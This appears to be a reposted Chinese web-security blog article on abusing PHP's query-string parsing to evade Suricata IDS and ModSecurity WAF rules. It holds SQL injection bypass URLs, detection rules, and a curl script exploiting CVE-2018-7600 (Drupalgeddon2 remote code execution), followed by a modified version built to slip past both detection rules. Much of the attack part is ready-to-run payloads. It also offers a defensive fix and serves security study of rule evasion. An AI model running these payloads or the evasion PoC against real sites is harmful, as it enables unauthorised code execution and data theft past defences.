Web 安全开发:使用 PHP 的 Bypass
PHP 字符串解析功能将查询字符串(URL 或正文中)转换为 $_GET 或 $_POST 内的关联字段。例如:/?foo=bar 变为 Array([foo] => “bar”)。值得注意的是,在查询字符串解析过程中,某些字符会被删除或替换为下划线。例如,/?%20news[id%00=42 将转换为 Array([news_id] => 42)。如果 IDS/IPS 或 WAF 中存在一条规则,当 news_id 参数的值为非数字值时进行拦截,则可以使用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--上述 PHP 语句的参数%20news [ id%00 该值将存储在 $_GET["news_id"] 中。
HP 必须在解析查询字符串时通过执行以下两件事将所有参数转换为有效的变量名称:
1。删除空格
2。将某些字符转换为下划线(包括空格)
例如:
| 用户输入 | 解码的 PHP | 变量名称 |
|---|---|---|
| %20foo_bar%00 | foo_bar | foo_bar |
| foo % 20bar%00 | foo bar | foo_bar |
| foo%5bbar | foo[bar | foo_bar |
在下面的示例中,您可以更直观地看到 parser_str 函数如何处理字符串: 函数 parse_str 通常自动用于获取、发布请求和 cookies。如果您的 Web 服务器接受带有特殊字符的参数名称,也会出现类似的情况。如上面的代码所示,我循环统计了参数名三个位置中0到255之间的所有字符,看看解析函数是如何处理这些特殊字符的。结果如下:
1.[1st]foo_bar
2.foo[2nd]bar
3.foo_bar[3rd]
![]()
![]()
在上面的方案中,foo%20bar和foo+bar分别是等价,两者都像 foo bar 一样求解。
Suricata
也许您也听说过这个软件。 Suricata 是“一个开源、成熟、快速且强大的网络威胁检测引擎”。其引擎可以执行实时入侵检测(IDS)、入侵防御系统(IPS)、网络安全监控(NSM)和离线流量包处理。
在Suricata中,您可以自定义HTTP流量的检测规则。假设您有这样的规则:
alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)简而言之,上述规则检查 news_id 的值是否为数字。那么,基于以上知识,我们就可以轻松绕过防御,如下图:
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'在Google和Github上搜索,发现有很多Suricata规则可以通过替换下划线或插入空字符来绕过。现实生活中的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)你可以绕过上述规则:
/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00当然,这些规则可以通过交换参数位置来规避如:
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1WAF (ModSecurity)
另外,PHP的查询字符串解析功能也可以用来绕过WAF。将其视为类似 SecRule !ARGS:news_id "@rx ^[0-9]+$" "block" 的规则,显然可以用相同的方式绕过。幸运的是,在 ModSecurity 中,可以通过正则表达式在查询字符串中指定参数。例如:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"上述规则将阻止如下请求:
⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'PoC || GTFO
让我们使用 Suricat 和 Drupal CMS 创建一个简单的 PoC,以利用 CVE-2018-7600(Drupalgeddon2 远程代码执行)。为了简单起见,我将在两个 Docker 容器上运行 Suricata 和 Drupal,并尝试通过 Suricata 攻击 Drupal。
我将使用两条猫鼬防御规则:
1。一条自定义规则拦截 form_id=user_register_form
2。第二个是关于官方安装过程CVE-2018-7600
![]()
Suricata的一般规则,请点击[此处](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation__-_Personal_Package_Archives_(PPA)。我为 Drupal 运行了 Vulhub 容器,您可以在此处下载:
![]()
首先,让我们尝试利用 CVE-2018-7600。一个使用curl命令的小型bash脚本,例如:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"如您所见,上面的脚本将执行命令ID:
![]()
现在让我们尝试将以下两个规则导入Suricata:我编写的第一条规则只是尝试匹配请求体中的form_id=user_register_form; Positive Technology 将第二个匹配项 /user/register 写入请求 URL,并将 #post_render 写入请求正文。我的规则:
alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)一般规则:
alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)重新启动 Suricate 后,我的攻击已成功警报:
如您所见,我们有两个日志:
1.ATTACK [PTsecurity] Drupalgeddon2 2.可能的攻击 Drupalgeddon [优先级: 2] : 3] {原型:006} 172.17.0.6:51702 -> 172.17.0.1:8080
绕过!
这两条规则实际上很容易规避。首先,对于敏感的 form_id=user_register_form 字段,我们可以将其替换为以下内容:
form%5bid=user_register_form如上图所示,现在仅提供一般规则的警告。如果我们分析通用规则的正则表达式,可以看到它对#和%23敏感,但不包含下划线编码。所以我们可以使用 post%5frender 而不是 post_render 来绕过:
最终我们得到了一个可以绕过两条规则的 PoC:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL" 版权声明
本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。
code前端网
